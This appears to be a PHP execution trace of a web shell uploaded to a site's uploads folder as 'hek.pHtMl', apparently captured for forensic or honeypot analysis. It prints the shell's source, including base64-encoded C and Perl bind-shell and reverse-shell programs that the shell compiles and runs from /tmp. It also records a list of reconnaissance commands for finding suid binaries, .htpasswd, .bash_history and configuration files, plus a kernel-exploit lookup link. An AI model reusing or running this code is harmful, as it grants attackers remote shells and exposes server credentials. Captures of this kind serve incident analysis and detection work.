"",\r\n\t\t\t\t\tpathname : m[6] || "",\r\n\t\t\t\t\tsearch : m[7] || "",\r\n\t\t\t\t\thash : m[8] || ""\r\n\t\t\t\t} : null);\r\n\t\t\t\t}\r\n\t\r\n\t\t\t\tfunction rel2abs(base, href) { // RFC 3986\r\n\t\r\n\t\t\t\tfunction removeDotSegments(input) {\r\n\t\t\t\t\tvar output = [];\r\n\t\t\t\t\tinput.replace(/^(\\.\\.?(\\/|$))+/, "")\r\n\t\t\t\t\t.replace(/\\/(\\.(\\/|$))+/g, "/")\r\n\t\t\t\t\t.replace(/\\/\\.\\.$/, "/../")\r\n\t\t\t\t\t.replace(/\\/?[^\\/]*/g, function (p) {\r\n\t\t\t\t\t\tif (p === "/..") {\r\n\t\t\t\t\t\toutput.pop();\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\toutput.push(p);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\t\t\t\t\treturn output.join("").replace(/^\\//, input.charAt(0) === "/" ? "/" : "");\r\n\t\t\t\t}\r\n\t\r\n\t\t\t\thref = parseURI(href || "");\r\n\t\t\t\tbase = parseURI(base || "");\r\n\t\r\n\t\t\t\treturn !href || !base ? null : (href.protocol || base.protocol) +\r\n\t\t\t\t(href.protocol || href.authority ? href.authority : base.authority) +\r\n\t\t\t\tremoveDotSegments(href.protocol || href.authority || href.pathname.charAt(0) === "/" ? href.pathname : (href.pathname ? ((base.authority && !base.pathname ? "/" : "") + base.pathname.slice(0, base.pathname.lastIndexOf("/") + 1) + href.pathname) : base.pathname)) +\r\n\t\t\t\t(href.protocol || href.authority || href.pathname ? href.search : (href.search || base.search)) +\r\n\t\t\t\thref.hash;\r\n\t\r\n\t\t\t\t}\r\n\t\r\n\t\t\t\tvar proxied = window.XMLHttpRequest.prototype.open;\r\n\t\t\t\twindow.XMLHttpRequest.prototype.open = function() {\r\n\t\t\t\t\tif (arguments[1] !== null && arguments[1] !== undefined) {\r\n\t\t\t\t\tvar url = arguments[1];\r\n\t\t\t\t\turl = rel2abs("\' . $url . \'", url);\r\n\t\t\t\t\turl = "\' . PROXY_PREFIX . \'" + url;\r\n\t\t\t\t\targuments[1] = url;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn proxied.apply(this, [].slice.call(arguments));\r\n\t\t\t\t};\r\n\t\r\n\t\t\t}\r\n\t\r\n\t\t\t})();\'\r\n\t\t);\r\n\t\t$scriptElem->setAttribute("type", "text/javascript");\r\n\t\r\n\t\t$prependElem->insertBefore($scriptElem, $prependElem->firstChild);\r\n\t\r\n\t\t}\r\n\t\r\n\t\techo "<!-- Proxified page constructed by Proxy -->\\n" . $doc->saveHTML();\r\n\t} else if (stripos($contentType, "text/css") !== false) { //This is CSS, so proxify url() references.\r\n\t\techo proxifyCSS($responseBody, $url);\r\n\t} else { //This isn\'t a web page or CSS, so serve unmodified through the proxy with the correct headers (images, JavaScript, etc.)\r\n\t\theader("Content-Length: " . strlen($responseBody), true);\r\n\t\techo $responseBody;\r\n\t}\r\n}\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$apple = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$apple .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$apple".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$apple = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$apple".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$apple = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$apple .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$apple".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$apple = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$apple".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($_action) && function_exists(\'action\' . $_action))\r\n\t\t$_POST[\'a\'] = $_action;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n'	/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	0
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	2	$_password = ''
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	3	$_agent = TRUE
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	4	$_unicode = 'UTF-8'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	6	$_action = 'FilesMan'
4	10	0	0.009081	1307728	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	8	1	'python-requests/2.25.1'
4	10	1	0.009108	1307824
4	10	R			'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	8	$Drupal = 'ecd862b3d0595af0a0b03f511e800938'
4	11	0	0.009145	1307792	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	9	1	'localhost'
4	11	1	0.009161	1307888
4	11	R			'421aa90e079fa326b6494f812ad13e79'
4	12	0	0.009181	1307792	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	10	1	'localhost'
4	12	1	0.009195	1307888
4	12	R			'421aa90e079fa326b6494f812ad13e79'
4	13	0	0.009210	1307856	prototype	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	10	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	377	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
5	14	0	0.009250	1308232	setcookie	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	378	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5	14	1	0.009276	1308432
5	14	R			TRUE
4	13	1	0.009290	1308368
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	13	_POST['charset'] = 'UTF-8'
4	15	0	0.009316	1308744	ini_set	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	22	2	'error_log'	NULL
4	15	1	0.009335	1308816
4	15	R			''
4	16	0	0.009349	1308744	ini_set	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	23	2	'log_errors'	0
4	16	1	0.009366	1308816
4	16	R			'1'
4	17	0	0.009379	1308744	ini_set	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	24	2	'max_execution_time'	0
4	17	1	0.009398	1308848
4	17	R			'30'
4	18	0	0.009412	1308744	set_time_limit	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	25	1	0
4	18	1	0.009430	1308808
4	18	R			FALSE
4	19	0	0.009444	1308776	define	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	28	2	'VERSION'	'5.0.3'
4	19	1	0.009461	1308880
4	19	R			TRUE
4	20	0	0.009474	1308808	get_magic_quotes_gpc	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	29	0
4	20	1	0.009488	1308808
4	20	R			FALSE
4	21	0	0.009502	1308808	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	43	1	'localhost'
4	21	1	0.009516	1308904
4	21	R			'421aa90e079fa326b6494f812ad13e79'
4	22	0	0.009531	1308808	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	44	1	'localhost'
4	22	1	0.009546	1308904
4	22	R			'421aa90e079fa326b6494f812ad13e79'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	44	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
4	23	0	0.009578	1308872	substr	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	70	3	'Linux'	0	3
4	23	1	0.009594	1309000
4	23	R			'Lin'
4	24	0	0.009607	1308904	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	70	1	'Lin'
4	24	1	0.009622	1308968
4	24	R			'lin'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	73	$os = 'nix'
4	25	0	0.009647	1308872	ini_get	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	74	1	'safe_mode'
4	25	1	0.009662	1308904
4	25	R			FALSE
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	74	$safe_mode = FALSE
4	26	0	0.009689	1308872	error_reporting	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	76	1	0
4	26	1	0.009703	1308912
4	26	R			0
4	27	0	0.009716	1308872	ini_get	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	77	1	'disable_functions'
4	27	1	0.009731	1309352
4	27	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	77	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	28	0	0.009782	1309320	getcwd	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	78	0
4	28	1	0.009800	1309368
4	28	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	78	$home_cwd = '/var/www/html/uploads'
4	29	0	0.009828	1309368	getcwd	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	81	0
4	29	1	0.009842	1309416
4	29	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	81	$cwd = '/var/www/html/uploads'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	87	$cwd .= '/'
4	30	0	0.009883	1309416	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	278	1	'posix_getpwuid'
4	30	1	0.009899	1309456
4	30	R			TRUE
4	31	0	0.009912	1309416	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	279	1	'posix_getgrgid'
4	31	1	0.009927	1309456
4	31	R			TRUE
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	281	$var_exec = 'exec'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	282	$var_passthru = 'passthru'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	283	$var_system = 'system'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	284	$var_shell_exec = 'shell_exec'
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	633	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
4	32	0	0.010070	1309456	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	1745	1	'actionFilesMan'
4	32	1	0.010087	1309496
4	32	R			TRUE
3		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	1746	_POST['a'] = 'FilesMan'
4	33	0	0.010115	1309456	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	1749	1	'actionFilesMan'
4	33	1	0.010131	1309496
4	33	R			TRUE
4	34	0	0.010145	1309416	actionFilesMan	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	1750	0
5	35	0	0.010166	1309416	hardHeader	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	909	0
6	36	0	0.010186	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	135	1	'/var/www/html/uploads/'
6	36	1	0.010203	1312656
6	36	R			'/var/www/html/uploads/'
6	37	0	0.010218	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	136	1	'FilesMan'
6	37	1	0.010234	1312656
6	37	R			'FilesMan'
6	38	0	0.010248	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	137	1	'UTF-8'
6	38	1	0.010263	1312656
6	38	R			'UTF-8'
6	39	0	0.010278	1312464	strpos	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	138	2	NULL	'\n'
6	39	1	0.010294	1312536
6	39	R			FALSE
6	40	0	0.010308	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	138	2	NULL	3
6	40	1	0.010323	1312696
6	40	R			''
6	41	0	0.010337	1312464	strpos	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	139	2	NULL	'\n'
6	41	1	0.010352	1312536
6	41	R			FALSE
6	42	0	0.010365	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	139	2	NULL	3
6	42	1	0.010384	1312696
6	42	R			''
6	43	0	0.010398	1312464	strpos	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	140	2	NULL	'\n'
6	43	1	0.010413	1312536
6	43	R			FALSE
6	44	0	0.010426	1312464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	140	2	NULL	3
6	44	1	0.010440	1312696
6	44	R			''
6	45	0	0.010454	1317584	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	152	1	'localhost'
6	45	1	0.010468	1317680
6	45	R			'421aa90e079fa326b6494f812ad13e79'
6	46	0	0.010484	1317584	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	153	1	'localhost'
6	46	1	0.010498	1317680
6	46	R			'421aa90e079fa326b6494f812ad13e79'
6	47	0	0.010513	1317584	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	154	1	'localhost'
6	47	1	0.010527	1317680
6	47	R			'421aa90e079fa326b6494f812ad13e79'
6	48	0	0.010542	1317584	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	155	1	'localhost'
6	48	1	0.010556	1317680
6	48	R			'421aa90e079fa326b6494f812ad13e79'
6	49	0	0.010570	1317584	md5	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	156	1	'localhost'
6	49	1	0.010592	1317680
6	49	R			'421aa90e079fa326b6494f812ad13e79'
6	50	0	0.010607	1317584	addslashes	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	168	1	'/uploads/hek.pHtMl'
6	50	1	0.010623	1317616
6	50	R			'/uploads/hek.pHtMl'
6	51	0	0.010646	1309504	diskfreespace	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	200	1	'/var/www/html/uploads/'
6	51	1	0.010669	1309536
6	51	R			209137418240
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	200	$freeSpace = 209137418240
6	52	0	0.010698	1309504	disk_total_space	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	201	1	'/var/www/html/uploads/'
6	52	1	0.010715	1309536
6	52	R			232015802368
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	201	$totalSpace = 232015802368
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	202	$totalSpace = 232015802368
6	53	0	0.010756	1309504	php_uname	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	203	1	'r'
6	53	1	0.010772	1309584
6	53	R			'5.15.0-60-generic'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	203	$release = '5.15.0-60-generic'
6	54	0	0.010800	1309552	php_uname	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	204	1	's'
6	54	1	0.010815	1309616
6	54	R			'Linux'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	204	$kernel = 'Linux'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	205	$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description='
6	55	0	0.010856	1309584	strpos	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	206	2	'Linux'	'Linux'
6	55	1	0.010872	1309656
6	55	R			0
6	56	0	0.010885	1309584	substr	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	207	3	'5.15.0-60-generic'	0	6
6	56	1	0.010901	1309712
6	56	R			'5.15.0'
6	57	0	0.010914	1309632	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	207	1	'Linux Kernel 5.15.0'
6	57	1	0.010929	1309712
6	57	R			'Linux+Kernel+5.15.0'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	207	$explink .= 'Linux+Kernel+5.15.0'
6	58	0	0.010957	1309712	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	210	1	'posix_getegid'
6	58	1	0.010973	1309752
6	58	R			TRUE
6	59	0	0.010987	1309712	posix_geteuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	216	0
6	59	1	0.011006	1309712
6	59	R			33
